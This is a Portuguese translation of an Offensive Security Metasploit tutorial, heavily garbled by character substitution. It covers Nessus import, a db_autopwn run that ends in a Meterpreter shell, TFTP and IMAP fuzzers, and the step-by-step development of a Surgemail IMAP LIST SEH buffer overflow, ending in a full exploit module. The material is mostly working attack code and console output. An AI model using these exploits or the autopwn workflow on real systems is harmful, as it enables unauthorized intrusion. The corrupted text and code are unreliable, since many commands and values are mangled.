Q@@@@ !@@49 E;R'DTORM <AM': ,>-ti>lo*, Eire tory ,>-ti>lo*, foun$5 7Lri Run !) @6:():1! Q@@@@ !@@49 E;R'DTORM R'S">DOE': =@A 7Lri Run !) @6:():1! Q@@@@ !@@49 789 Eone5 msf 2

O relat/rio devolvido a n/s nos diz um monte de informa6es sobre a aplicao #eb e poss5veis vulnerabilidades de segurana (ue foram identificados. *omo pentesters, gostar5amos de investigar cada descoberta nova e identificar se eAistem mtodos potenciais de ata(ue. 0o eAemplo, dois resultados bons. O primeiro Beb3av onde pode ser capaz de ignorar logins, o outro o mtodo 29? (ue podem nos permitir colocar c/digo malicioso no site. B!A2 um /timo complemento para o !etasploit "rame#or$ e permite&l e, essencialmente, ter um scanner de vulnerabilidade incorporadas ao (uadro 4 grande em si. 9ma coisa a falar sobre B!A2 realmente ainda um trabal o em andamento. O site (ue s/ tin a verificado numerosos casos de erro baseado %HG En4ection e *ross&%ite %cripting (ue no identificou. Pasta estar atento ao usar isso, e compreender as actuais limita6es do B!A2.

Wor5in' %it$ Nessus


0essus um bem con ecido e popular scanner de vulnerabilidade (ue gratuito para uso pessoal, no comercial, (ue foi lanado em T>>] pela @enaurd 3eraison e atualmente publicada pela ?enable 0et#or$ %ecurit<. ) tambm um spin off do pro4eto de 0essus =, nomeado Open8A%, (ue publicado sob a O2G. 9tilizando um grande n'mero de verifica6es de vulnerabilidade, plugins c amado 0essus, voc pode identificar um grande n'mero de vulnerablities bem con ecida. !etasploit aceitar vulnerabilidade digitalizar ar(uivos de resultado de ambos os 0essus e Open8A% no formato de ar(uivo 0PE. ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

2ermite percorrer o processo. 2rimeiro, uma varredura completa do 0essus -L

Ap/s a concluso de um scan de vulnerabilidade, vamos salvar os resultados em formato 0PE e depois iniciar o msfconsole. Em seguida, precisamos criar um novo banco de dados para ler os resultados em ar(uivo.

rootS+t=:,0entest,ex0loits,frame%or1AT 5,msf onsole 555 msf 789 789 789 msf 789 msf 2 $+> reate Dreatin* a ne% $ata+ase instan e555 Su essfully onne te$ to t.e $ata+ase Lile: ,root,5msfA,sqliteA5$+ 2 loa$ $+>tra 1er Su essfully loa$e$ 0lu*in: $+>tra 1er

0/s criamos o banco de dados. Em seguida, vamos dar uma ol ada no comando K elpK, (ue apresenta muitas mais op6es. ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

msf 2 .el0 555sni0555 Eata+ase Ba 1en$ Domman$s ????????????????????????? Domman$ 3333333 $+>a$$>.ost $+>a$$>note $+>a$$>0ort $+>auto0%n $+> onne t $+> reate $+>$el>.ost $+>$el>0ort $+>$estroy $+>$is onne t $+>$ri-er $+>.osts $+>im0ort>ama0>mlo* $+>im0ort>nessus>n+e $+>im0ort>nessus>xml $+>im0ort>nma0>xml $+>nma0 $+>notes $+>ser-i es $+>-ulns msf 2 Ees ri0tion 33333333333 A$$ one or more .osts to t.e $ata+ase A$$ a note to .ost A$$ a 0ort to .ost Automati ally ex0loit e-eryt.in* Donne t to an existin* $ata+ase Dreate a +ran$ ne% $ata+ase Eelete one or more .osts from t.e $ata+ase Eelete one 0ort from t.e $ata+ase Ero0 an existin* $ata+ase Eis onne t from t.e urrent $ata+ase instan e S0e ify a $ata+ase $ri-er List all .osts in t.e $ata+ase ;m0ort a THD3Ama0 s an results file (3o 3m) ;m0ort a <essus s an result file (<B') ;m0ort a <essus s an result file (<'SS&S) ;m0ort a <ma0 s an results file (3oK) 'xe utes nma0 an$ re or$s t.e out0ut automati ally List all notes in t.e $ata+ase List all ser-i es in t.e $ata+ase List all -ulnera+ilities in t.e $ata+ase

Ento vamos em frente e importar o ar(uivo de resultados 0PE emitindo o Kdb[import[nessus[nbe comandoK seguido do camin o para o nosso ar(uivo de resultados. 3epois de importar o ar(uivo de resultados, podemos eAecutar o comando Kdb[ ostsK para listar os osts (ue esto nos resultados 0PE ar(uivo. !sf = db>i!po t>ness3s>nbe / oot/docs/115>scan6nbe !sf = db>9osts EGF Ti!e< T3e T3l 14 17<40<23 -0600 2009 0ost< 1926168616115 /tat3s< ali'e +/< 8emos eAatamente o (ue estvamos esperando para ver. Em seguida, eAecute o comando Kdb[services 1, (ue ir enumerar todos os servios (ue foram detectados em eAecuo no sistema digitalizado.
msf 2 $+>ser-i es 789 Time: Tue Rul name?e0ma0 789 Time: Tue Rul name?net+ios3ssn 789 Time: Tue Rul name?mi rosoft3$s 789 Time: Tue Rul name?ss. 789 Time: Tue Rul name?net+ios3ns 789 Time: Tue Rul name?nt0 1= 1H:=@:!A 3@)@@ !@@4 Ser-i e: .ost?14!51)651511( 0ort?1A( 0roto?t 0 state?u0 1= 1H:=@:!A 3@)@@ !@@4 Ser-i e: .ost?14!51)651511( 0ort?1A4 0roto?t 0 state?u0 1= 1H:=@:!A 3@)@@ !@@4 Ser-i e: .ost?14!51)651511( 0ort?==( 0roto?t 0 state?u0 1= 1H:=@:!A 3@)@@ !@@4 Ser-i e: .ost?14!51)651511( 0ort?!! 0roto?t 0 state?u0 1= 1H:=@:!A 3@)@@ !@@4 Ser-i e: .ost?14!51)651511( 0ort?1AH 0roto?u$0 state?u0 1= 1H:=@:!A 3@)@@ !@@4 Ser-i e: .ost?14!51)651511( 0ort?1!A 0roto?u$0 state?u0

2or 'ltimo, eo mais importante, o comando Kdb[vulnsK ir listar todas as vulnerabilidades (ue foram relatadas por 0essus e gravado no ar(uivo de resultados. ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

msf 2 $+>-ulns 789 Time: Tue Rul 1= 1H:=@:!A 3@)@@ !@@4 Juln: .ost?14!51)651511( 0ort?!! 0roto?t 0 name?<SS3 15A5)515=515!()!A515@5(@!6! refs?<SS315A5)515=515!()!A515@5(@!6! 789 Time: Tue Rul 1= 1H:=@:!A 3@)@@ !@@4 Juln: .ost?14!51)651511( 0ort?==( 0roto?t 0 name?<SS3 15A5)515=515!()!A515@511@11 refs?<SS315A5)515=515!()!A515@511@11 789 Time: Tue Rul 1= 1H:=@:!A 3@)@@ !@@4 Juln: .ost?14!51)651511( 0ort?1A4 0roto?t 0 name?<SS3 15A5)515=515!()!A515@511@11 refs?<SS315A5)515=515!()!A515@511@11 789 Time: Tue Rul 1= 1H:=@:!A 3@)@@ !@@4 Juln: .ost?14!51)651511( 0ort?1AH 0roto?u$0 name?<SS3 15A5)515=515!()!A515@51@1(@ refs?<SS315A5)515=515!()!A515@51@1(@BDJ'314443@)!1 789 Time: Tue Rul 1= 1H:=@:!A 3@)@@ !@@4 Juln: .ost?14!51)651511( 0ort?==( 0roto?t 0 name?<SS3 15A5)515=515!()!A515@51@A4= refs?<SS315A5)515=515!()!A515@51@A4= 789 Time: Tue Rul 1= 1H:=@:!A 3@)@@ !@@4 Juln: .ost?14!51)651511( 0ort?1!A 0roto?u$0 name?<SS3 15A5)515=515!()!A515@51@66= refs?<SS315A5)515=515!()!A515@51@66=

?oda essa enumerao e anlise (ue conduz a algo ... db[autop#n. db[autop#n ir ler todas as portas, servios e vulnerabilidades contidas no ar(uivo de resultados 0PE, igualar eAploits (ue so compat5veis com eles, ou tentar eAplor&los todos automagicamente. @unning K db[autop#nK ir listar todas as op6es (ue esto dispon5veis.
msf 2 $+>auto0%n 3. 789 &sa*e: $+>auto0%n 7o0tions9 3. Eis0lay t.is .el0 text 3t S.o% all mat .in* ex0loit mo$ules 3x Sele t mo$ules +ase$ on -ulnera+ility referen es 30 Sele t mo$ules +ase$ on o0en 0orts 3e Laun . ex0loits a*ainst all mat .e$ tar*ets 3r &se a re-erse onne t s.ell 3+ &se a +in$ s.ell on a ran$om 0ort 3q Eisa+le ex0loit mo$ule out0ut 3; 7ran*e9 Only ex0loit .osts insi$e t.is ran*e 3K 7ran*e9 Al%ays ex lu$e .osts insi$e t.is ran*e 3"; 7ran*e9 Only ex0loit .osts %it. t.ese 0orts o0en 3"K 7ran*e9 Al%ays ex lu$e .osts %it. t.ese 0orts o0en 3m 7re*ex9 Only run mo$ules %.ose name mat .es t.e re*ex

8amos correr 1db[autop#n&A&e Kpara selecionar eAplorar m/dulos baseados na vulnerabilidade +em vez de apenas pelo porto como aconteceria com resultados apenas nmap, e eAplorar todas as metas. db[autop#n no uma ferramenta furtivo por (ual(uer meio e, por padro, usa um escudo !eterpreter inversa. 8amos ver o (ue acontece (uando eAecut&lo.
msf 789 789 789 2 $+>auto0%n 3x 3e (6,A6): Laun .in* ex0loit,multi,sam+a,nttrans a*ainst 14!51)651511(:1A4555 (4,A6): Laun .in* ex0loit,%in$o%s,sm+,0sexe a*ainst 14!51)651511(:==(555 (1@,A6): Laun .in* ex0loit,%in$o%s,sm+,ms@)>@))>n%%1s a*ainst 14!51)651511(:==(555

8er< nice: db[autop#n eAplorou com sucesso o anfitrio e tem s ell !eterpreter esperando por n/s. O comando 1sess6es de l Kvai listar as sess6es abertas ao mesmo tempo dispon5vel1 sess6es&iK nos permite interagir com a sesso E3.
msf 2 sessions 3l A ti-e sessions ??????????????? ;$ Ees ri0tion Tunnel

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

33 33333333333 333333 1 Meter0reter 14!51)65151@1:=@61= 32 14!51)651511(:1=146 msf 2 sessions 3i 1 789 Startin* intera tion %it. 1555 meter0reter 2 sysinfo Dom0uter: EOOX;'3LA1(=A(= OS : #in$o%s K" (Buil$ !)@@B Ser-i e "a 1 !)5 meter0reter 2 *etui$ Ser-er username: <T A&THOR;TMUSMST'M

*omo voc pode ver, esta uma caracter5stica muito poderosa. 0o vai pegar tudo no sistema remoto, e vai ser muito barul ento, mas um tempo e lugar para o ru5do a mesma eAiste para discrio. Esso demonstra a versatilidade do (uadro, e algumas das muitas possibilidades de integrao com outras ferramentas (ue so poss5veis.

Writin' a si)p&e Fu>>er


"uzzers so ferramentas utilizadas por profissionais de segurana para fornecer dados invlidos e inesperados para as entradas de um programa. fuzzers t5pica de teste de um pedido de buffer overflo#s, format string, ata(ues de passagem de diret/rio, vulnerabilidades de eAecuo de comando %HG En4ection, C%% e muito mais. !etasploit por(ue fornece um con4unto muito completo de bibliotecas para os profissionais de segurana para protocolos de rede e muitas manipula6es de dados, o (uadro um bom candidato para o desenvolvimento rpido de fuzzers simples. @eAL m/dulo de teAto fornece vrios mtodos 'teis para lidar com um teAto comoL M *onverso de Puffer M *odificao + tml, url, etc, M * ec$summing M Oerao de se(Sncia aleat/ria O 'ltimo ponto , obviamente, eAtremamente 'til, por escrito, fuzzers simples. 2ara obter mais informa6es, consulte a documentao da A2E em ttpLDDmetasploit.comDdocumentsDapiDreADclassesD@eAD?eAt. tml. A(ui esto algumas das fun6es (ue voc pode encontrar no @eALL ?eAtoL oot;bt4<O/docsP $ ep ,def self6 and, /pentest/e"ploits/f a!e5o k3/lib/ e"/te"t6 b def self6 and>c9a BbadI c9a s ? Jll&9a sH def self6 and>baseBlenI badI GfooH def self6 and>te"tBlenI bad?44I c9a s ? Jll&9a sH def self6 and>te"t>alp9aBlenI bad?44H def self6 and>te"t>alp9a>lo5e BlenI bad?44H def self6 and>te"t>alp9a>3ppe BlenI bad?44H def self6 and>te"t>alp9an3!e icBlenI bad?44H def self6 and>te"t>n3!e icBlenI bad?44H def self6 and>te"t>en$lis9BlenI bad?44H ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

def def def def

self6 self6 self6 self6

and>te"t>9i$9asciiBlenI bad?44H ando!ize>spaceBst H and>9ostna!e and>stateBH

Si)p&e TFTP Fu>>er


9m dos aspectos mais poderosos do !etasploit como fcil fazer mudanas e criar novas funcionalidades atravs da reutilizao de c/digo eAistente. 2or eAemplo, dado (ue este c/digo fuzzer muito simples demonstra, voc pode fazer algumas pe(uenas modifica6es para um m/dulo !etasploit eAistente para criar um m/dulo difusor. As mudanas passaro comprimentos cada vez mais para o valor dos modos de transporte para o servio de ?"?2 I*om para Bindo#s, resultando em uma substituio de EE2.
TMetas0loit require 'msf, ore' lass Metas0loitA ` Msf::Auxiliary in lu$e Msf::Auxiliary::S anner $ef initialiIe su0er( '<ame' ?2 'ADom TLT" LuIIer'B 'Jersion' ?2 '[Re-ision: 1 ['B 'Ees ri0tion' ?2 'ADom TLT" LuIIer "asses O-erly Lon* Trans0ort Mo$e Strin*'B 'Aut.or' ?2 'Mour name .ere'B 'Li ense' ?2 MSL>L;D'<S' ) re*ister>o0tions( 7 O0t::R"ORT()4) 9B self5 lass) en$ $ef run>.ost(i0) T Dreate an un+oun$ &E" so 1et u$0>so 1 ? Rex::So 1et::&$05 reate( 'Dontext' ?2 W 'Msf' ?2 frame%or1B 'Msf'x0loit' ?2 selfB \ ) ount ? 1@ T Set an initial ount %.ile ount ` !@@@ T #.ile t.e ount is un$er !@@@ run e-il ? "A" 8 ount T Set a num+er of "A"s equal to ount 01t ? "Ux@@Ux@!" Q "Ux=1" Q "Ux@@" Q e-il Q "Ux@@" T Eefine t.e 0ayloa$ u$0>so 15sen$to(01tB i0B $atastore7'R"ORT'9) T Sen$ t.e 0a 1et 0rint>status("Sen$in*: TWe-il\") T Status u0$ate res0 ? u$0>so 15*et(1) T Da0ture t.e res0onse ount Q? 1@ T ;n rease ount +y 1@B an$ loo0 en$

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

en$ en$

2rett< em frente. 8amos eAecut&lo e ver o (ue acontece.

E n/s temos um acidente: O difusor est funcionando conforme o esperado. Embora isso possa parecer simples 7 primeira vista, uma coisa a considerar o c/digo reutilizvel (ue esta nos proporciona. 0o nosso eAemplo, a estrutura de carga foi definido para n/s, poupando&nos tempo, e (ue nos permite ir directamente para a difuso ao invs de pes(uisar o protocolo. Esto eAtremamente poderoso, e um benef5cio oculto do (uadro.

Si)p&e IMAP Fu>>er


3urante uma sesso de recon ecimento de acol imento descobrimos um servidor de correio E!A2, (ue con ecido por ser vulnervel a um ata(ue de estouro de buffer +%urge!ail I.]$-&-,. ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Encontramos um alerta para a vulnerabilidade, mas no pode encontrar (ual(uer eAploits (ue trabal am no banco de dados !etasploit nem na internet. Ento decidi escrever nossa pr/pria eAplorao comea com um difusor E!A2 simples. A partir da assessoria sabemos (ue o comando vulnervel E!A2 lista e voc precisa de credenciais vlidas para eAplorar a aplicao. *omo temos visto anteriormente, o arsenal grande biblioteca 1presentes no !%" pode a4udar&nos rapidamente script (ual(uer protocolo de rede eo protocolo E!A2 no uma eAceo. Encluindo !%"L EAploitLL @emoteL Emap nos salvar muito tempo. 0a verdade, a ligao ao servidor E!A2 e realizar a autenticao passos necessrios para o comando fuzz vulnerveis, apenas uma (uesto de uma 'nica lin a de lin a de comando: A(ui est o c/digo para o difusor GE%?A E!A2L

TT T T.is file is 0art of t.e Metas0loit Lrame%or1 an$ may +e su+Ge t to T re$istri+ution an$ ommer ial restri tions5 "lease see t.e Metas0loit T Lrame%or1 %e+ site for more information on li ensin* an$ terms of use5 T .tt0:,,metas0loit5 om,frame%or1, TT require 'msf, ore' lass Metas0loitA ` Msf::Auxiliary in lu$e Msf::'x0loit::Remote::;ma0 in lu$e Msf::Auxiliary::Eos $ef initialiIe su0er( '<ame' ?2 'Sim0le ;MA" LuIIer'B 'Ees ri0tion' ?2 CqW An exam0le of .o% to +uil$ a sim0le ;MA" fuIIer5 A ount ;MA" re$entials are require$ in t.is fuIIer5 \B 'Aut.or' ?2 7 'ryuGin' 9B 'Li ense' ?2 MSL>L;D'<S'B 'Jersion' ?2 '[Re-ision: 1 [' ) en$ $ef fuII>str() return Rex::Text5ran$>text>al0.anumeri (ran$(1@!=)) en$ $ef run() sran$(@) %.ile (true) onne te$ ? onne t>lo*in() if not onne te$ 0rint>status("Host is not res0on$in* 3 t.is is G@@E V)") +rea1 en$ 0rint>status("Generatin* fuIIe$ $ata555") fuIIe$ ? fuII>str() 0rint>status("Sen$in* fuIIe$ $ataB +uffer len*t. ? C$" C fuIIe$5len*t.) req ? '@@@! L;ST () ",' Q fuIIe$ Q '" ""#<'E"' Q "UrUn" 0rint>status(req) res ? ra%>sen$>re -(req) if /res5nilF

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

en$ en$ en$

0rint>status(res) else 0rint>status("Ser-er +rea1 en$ $is onne t()

ras.e$B no res0onse")

Overiding o mtodo run +,, o nosso c/digo ser eAecutado sempre (ue o usurio c ama de 1correr1 msfconsole. 0o loop # ile dentro de run +,, (ue se conectar ao servidor E!A2 e autenticar atravs da funo connect[login +, importados da !%"LL EAploitLL @emoteL Emap. * amamos ento o fuzz[str function +, (ue gera um buffer de taman o varivel alfanumrica (ue vai ser enviado como um argumento do comando GE%? E!A2 atravs da funo ra#[send[recv. 0/s salvar o ar(uivo acima, o auAiliar D dos D #indo#s D subdiret/rio D E!A2 e carreg&lo de msfconsole como segueL
msf 2 use auxiliary,$os,%in$o%s,ima0,fuII>ima0 msf auxiliary(fuII>ima0) 2 s.o% o0tions Mo$ule o0tions: <ame Durrent Settin* Require$ Ees ri0tion 3333 333333333333333 33333333 33333333333 ;MA""ASS no T.e 0ass%or$ for t.e s0e ifie$ username ;MA"&S'R no T.e username to aut.enti ate as RHOST yes T.e tar*et a$$ress R"ORT 1=A yes T.e tar*et 0ort msf auxiliary(fuII>ima0) 2 set RHOST 1H!51)5A@5H RHOST ?2 1H!51)5A@5H msf auxiliary(fuII>ima0) 2 set ;MA"&S'R test ;MA"&S'R ?2 test msf auxiliary(fuII>ima0) 2 set ;MA""ASS test ;MA""ASS ?2 test

Agora estamos prontos para o servidor E!A2 fuzz vulnerveis. 3amos o processo de surgemail.eAe Emmunit<3ebugger e comear a nossa sesso de difusoL
msf 789 789 789 789 789 789 789 789 789 789 789 789 789 auxiliary(fuII>ima0) 2 run Donne tin* to ;MA" ser-er 1H!51)5A@5H:1=A555 Donne te$ to tar*et ;MA" ser-er5 Aut.enti atin* as test %it. 0ass%or$ test555 Generatin* fuIIe$ $ata555 Sen$in* fuIIe$ $ataB +uffer len*t. ? )6= @@@! L;ST () ,"-1AEHEnRTJy1KGMMM)BmnKL75559" ""#<'E" Donne tin* to ;MA" ser-er 1H!51)5A@5H:1=A555 Donne te$ to tar*et ;MA" ser-er5 Aut.enti atin* as test %it. 0ass%or$ test555 Generatin* fuIIe$ $ata555 Sen$in* fuIIe$ $ataB +uffer len*t. ? !!( @@@! L;ST () ,"lL$nxGB".1A#t(H0D-A]fiL75559" ""#<'E" @@@! OX L;ST om0lete$

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

789 789 789 789 789 789 789 789 789 789 789 789 789

Donne tin* to ;MA" ser-er 1H!51)5A@5H:1=A555 Donne te$ to tar*et ;MA" ser-er5 Aut.enti atin* as test %it. 0ass%or$ test555 Generatin* fuIIe$ $ata555 Sen$in* fuIIe$ $ataB +uffer len*t. ? 1@@H @@@! L;ST () ,"LI%RG; L1)-#="KE"0RJ75559*aEm" ""#<'E" Donne tin* to ;MA" ser-er 1H!51)5A@5H:1=A555 Donne te$ to tar*et ;MA" ser-er5 Aut.enti atin* as test %it. 0ass%or$ test555 Aut.enti ation faile$ Host is not res0on$in* 3 t.is is G@@E V) Auxiliary mo$ule exe ution om0lete$

!%" diz (ue o servidor E!A2, provavelmente, caiu e Emmunit<3ebugger confirma&lo como visto na imagem seguinteL

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

E7p&oit De(e&op)ent
Em seguida, n/s estamos indo cobrir um dos mais con ecidos e populares aspectos do (uadro, eAplorar o desenvolvimento. 0esta seo, vamos mostrar como utilizar a estrutura para eAplorar o desenvolvimento permite (ue voc se concentrar no (ue eAclusivo sobre a eAplorao, e faz outras (uest6es, tais como carga, codificao, gerao nop, e assim por diante apenas uma (uesto de infra&estrutura. 3evido ao grande n'mero de eAplora6es actualmente dispon5veis na !etasploit, uma c ance muito boa (ue 4 eAiste um m/dulo (ue voc pode simplesmente editar para seus pr/prios fins eAplorar durante o desenvolvimento. 2ara tornar mais fcil eAplorar o desenvolvimento, !etasploit inclui um eAemplo de eAploit (ue voc pode modificar. 8oc pode encontr&lo em Kdocumentation D samples D modules D eAploits DK.

Ma5in' so)et$in' 'o 39oo)3


Anteriormente, n/s ol amos fuzzing um servidor E!A2 no %imples seo "uzzer E!A2. 0o final desse esforo, descobrimos (ue poder5amos substituir EE2, E%2 fazendo o 'nico registo (ue aponta para uma localizao de mem/ria sob o nosso controle +- b<tes depois do nosso endereo de retorno,. 0/s podemos ir em frente e reconstruir nossa buffer +fuzzed V 1A1 M T..- X 1P1 - M X 1*1 M -, para confirmar (ue o fluAo de eAecuo redirectable atravs de um endereo E%2 Z!2 como ret. !sf a3"ilia 7Bf3zz>i!apH = 3n EGF &onnectin$ to 8MJ% se 'e 17261663067<143666 EGF &onnected to ta $et 8MJ% se 'e 6 EGF J3t9enticatin$ as test 5it9 pass5o d test666 EGF -ene atin$ f3zzed data666 EGF /endin$ f3zzed dataI b3ffe len$t9 ? 1012 EGF 0002 S8/T BH /,JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJE666FBBBB&&&&, ,%RM#), EGF &onnectin$ to 8MJ% se 'e 17261663067<143666 EGF &onnected to ta $et 8MJ% se 'e 6 EGF J3t9enticatin$ as test 5it9 pass5o d test666 EGF J3t9entication failed EGF 8t see!s t9at 9ost is not espondin$ an7!o e and t9is is -00) UH EGF J3"ilia 7 !od3le e"ec3tion co!pleted !sf a3"ilia 7Bf3zz>i!apH =

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

4ontro&&in' E7ecution F&o%

2recisamos agora determinar o offset correto para obter a eAecuo de c/digo. "elizmente, o !etasploit vem ao salvamento com dois utilitrios muito 'teisL pattern[create.rb e pattern[offset.rb. Ambos os scripts esto localizados no diret/rio !etasploit de 1ferramentas1. Ao eAecutar pattern[create.rb, o script ir gerar uma string composta de padr6es 'nicos (ue podemos usar para substituir a nossa se(Sncia de 1A1. oot;bt4<OP /pentest/e"ploits/f a!e5o k3/tools/patte n>c eate6 b 11000 Ja0Ja1Ja2Ja3Ja4Ja5Ja6Ja7Ja8Ja9Jb0Jb1Jb2Jb3Jb4Jb5Jb6Jb7Jb8Jb9Jc0J c1Jc2Jc3Jc4Jc5Jc6Jc7Jc8Jc9Jd0Jd1Jd2Jd3Jd4Jd5Jd6Jd7Jd8Jd9Je0Je1Je2 Je3Je4Je5Je6Je7Je8Je9Jf0Jf1Jf2Jf3Jf4Jf5Jf6Jf7Jf8Jf9J$0J$1J$2J$3J$ 4J$5E666F 3epois temos EE2 sucesso substitu5do ou %!% +ou (ual(uer outro registro (ue voc est buscando,, devemos tomar nota do valor contido no registo e alimentao pattern[offset.rb esse valor para ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

determinar em (ue ponto da se(Sncia aleat/ria o valor aparece. Ao invs de c amar o pattern[create.rb lin a de comando, vamos c amar a A2E sub4acente diretamente do nosso difusor usando o @eAL ?eAt.pattern[create +,. %e ol armos para a fonte, podemos ver como esta funo c amado.
$ef self50attern> reate(len*t.B sets ? 7 &00erAl0.aB Lo%erAl0.aB <umerals 9) +uf ? '' i$x ? @ offsets ? 79 sets5len*t.5times W offsets `` @ \ until +uf5len*t. 2? len*t. +e*in +uf `` on-er*e>sets(setsB @B offsetsB len*t.) res ue Runtime'rror +rea1 en$ en$ T Maximum 0ermutations rea .e$B +ut %e nee$ more $ata if (+uf5len*t. ` len*t.) +uf ? +uf 8 (len*t. , +uf5len*t.5to>f)5 eil en$ +uf7@Blen*t.9 en$

Assim, vemos (ue n/s c amamos a funo pattern[create (ue ter, no mAimo, dois parFmetros, o taman o do buffer de n/s esto ol ando para criar e um opcional segundo paramater nos dar algum controle sobre o conte'do do buffer. Assim, para as nossas necessidades, vamos c amar a funo e substituir nossa varivel fuzzed com fuzzed V @eAL ?eAt.pattern[create +TT...,. Esso faz com (ue nosso %E) para ser substitu5do por .A\]-EII\] e com base no valor retornado pelo pattern[offset.rb, podemos determinar (ue os b<tes (ue substituir nosso manipulador de eAceo so os pr/Aimos (uatro b<tes T.I\T, T.I\=, T.I\I, T.I\-.

rootS+t=:aT ,0entest,ex0loits,frame%or1A,tools,0attern>offset5r+ )6='AA)6 11@@@ 1@A)@

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

*omo acontece fre(uentemente em ata(ues de estouro de %E), precisamos agora de encontrar um 2O2 2O2 @E? +outras se(Sncias so bons, assim como eAplicado em 13errotar o %tac$ Puffer Overflo# *om mecanismo de preveno de !icrosoft Bindo#s =..I %erver1 Gitc field =..I, Endereo para redirecionar o fluAo de eAecuo para a nossa reserva. 0o entanto, em busca de um endereo de retorno ade(uado em surgemail.eAe, obviamente, nos leva ao problema encontrado anteriormente, todos os endereos tm um b<te nulo. oot;bt4<OP /pentest/e"ploits/f a!e5o k3/!sfpescan -p s3 $e!ail6e"e Es3 $e!ail6e"eF 0"0042e947 pop esiU 0"0042f88b pop esiU 0"00458e68 pop esiU 0"00458edb pop esiU 0"00537506 pop esiU 0"005ec087 pop eb"U pop pop pop pop pop pop ebpU ebpU ebpU ebpU ebpU ebpU et et et et et et et et et

0"00780b25 pop ebpU pop eb"U 0"00780c1e pop ebpU pop eb"U 0"00784fb8 pop eb"U pop ebpU

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

0"0078506e pop eb"U pop ebpU 0"00785105 pop ec"U pop eb"U 0"0078517e pop esiU pop eb"U

et et et

"elizmente desta vez temos uma abordagem para tentar novo ata(ue em forma de uma substituio parcial, transbordando %E) apenas com os mais baiAos I b<tes significativa do endereo de retorno. A diferena (ue desta vez podemos colocar o nosso s ellcode na primeira parte da reserva na se(uncia de um es(uema como o seguinteL V M+%/S#) V /0#SS&+)# V M#J1TM% V /0+1TTM% V 1#T B3 B7tesH V 2O2 2O2 @E? ir redirecionar nos - b<tes antes @E? onde vamos colocar um Z!2 curto levando& nos N b<tes para trs. 8amos, ento, um pr/Aimo voltar Z!2 (ue nos levar, no meio da 0O2%GE3. Esso no era poss5vel fazer com um parcial de substituir EE2 e E%2, como devido 7 pil a de acordo E%2 foi de (uatro b<tes depois do nosso @E?. %e n/s fizemos uma substituio parcial das EE2, E%2 seria, ento, em uma rea incontrolvel.

2ettin' a S$e&&
*om o (ue n/s aprendemos, n/s escrevemos o eAploit e salve&o em #indo#s D imap D surgemail[list.rb. 8oc pode baiAar a eAplorar a(uiL ttpLDD###.offensive& securit<.comDmsfDsurgemail[list.rb.
TT T T.is file is 0art of t.e Metas0loit Lrame%or1 an$ may +e su+Ge t to T re$istri+ution an$ ommer ial restri tions5 "lease see t.e Metas0loit T Lrame%or1 %e+ site for more information on li ensin* an$ terms of use5 T .tt0:,,metas0loit5 om,0roGe ts,Lrame%or1, TT require 'msf, ore' lass Metas0loitA ` Msf::'x0loit::Remote in lu$e Msf::'x0loit::Remote::;ma0 $ef initialiIe(info ? W\) su0er(u0$ate>info(infoB '<ame' ?2 'Sur*email A561=3= ;MA"E L;ST Buffer O-erflo%'B 'Ees ri0tion' ?2 CqW T.is mo$ule ex0loits a sta 1 o-erflo% in t.e Sur*email ;MA" Ser-er -ersion A561=3= +y sen$in* an o-erly lon* L;ST omman$5 Jali$ ;MA" a ount re$entials are require$5 \B 'Aut.or' ?2 7 'ryuGin' 9B 'Li ense' ?2 MSL>L;D'<S'B 'Jersion' ?2 '[Re-ision: 1 ['B 'Referen es' ?2 7 7 'B;E'B '!6!)@' 9B 7 'DJ''B '!@@631=46' 9B

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

7 '&RL'B '.tt0:,,%%%5mil%@rm5 om,ex0loits,(!(4' 9B 9B '"ri-ile*e$' ?2 falseB 'EefaultO0tions' ?2 W ''K;TL&<D' ?2 't.rea$'B \B '"ayloa$' ?2 W 'S0a e' ?2 1@A(1B ''n o$erTy0e' ?2 Msf::'n o$er::Ty0e::Al0.anumMixe$B 'Eisa+le<o0s' ?2 trueB 'Ba$D.ars' ?2 "Ux@@" \B '"latform' ?2 '%in'B 'Tar*ets' ?2 7 7 '#in$o%s &ni-ersal'B W 'Ret' ?2 "UxHeUx(1UxH6" \ 9B T 0,0,r @x@@H6(1He 9B 'Eis losureEate' ?2 'Mar . 1A !@@6'B 'EefaultTar*et' ?2 @)) en$ $ef .e 1 onne t $is onne t if (+anner an$ +anner ?a ,(Jersion A561=3=),) return 'x0loit::D.e 1Do$e::Julnera+le en$ return 'x0loit::D.e 1Do$e::Safe en$ $ef ex0loit onne te$ ? onne t>lo*in no0es ? "Ux4@"8(0ayloa$>s0a e30ayloa$5en o$e$5len*t.) T to +e fixe$ %it. ma1e>no0s() sGum0 ? "Ux'BUxL4Ux4@Ux4@" T Rm0 Ba 1 nGum0 ? "Ux'4UxEEUxEHUxLLUxLL" T An$ Ba 1 A*ain Ba+y V) e-il ? no0es Q 0ayloa$5en o$e$ Q nGum0 Q sGum0 Q 7tar*et5ret950a 1("AA") 0rint>status("Sen$in* 0ayloa$") s0loit ? '@@@! L;ST () ",' Q e-il Q '" ""#<'E"' Q "UrUn" so 150ut(s0loit) .an$ler $is onne t en$ end

As coisas mais importantes a observar no c/digo anterior so os seguintesL M 0/s definimos o espao mAimo para o s ellcode +%pace VY T.INT, e definir o 3isable0ops recurso para desativar o preenc imento automtico s ellcode, n/s vamos pad da carga por conta pr/pria. M !ontamos o codificador padro para o Alp anum!iAed por causa da natureza do protocolo E!A2. ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

M 0/s definimos os nossos I b<tes 2O2 2O2 endereo de retorno @E?, (ue ser ento referenciado pela varivel target.ret. M 0/s definimos uma funo de seleo (ue pode verificar o banner do servidor E!A2 para identificar um servidor vulnervel e eAplorar uma funo (ue, obviamente, o (ue mais faz do trabal o.

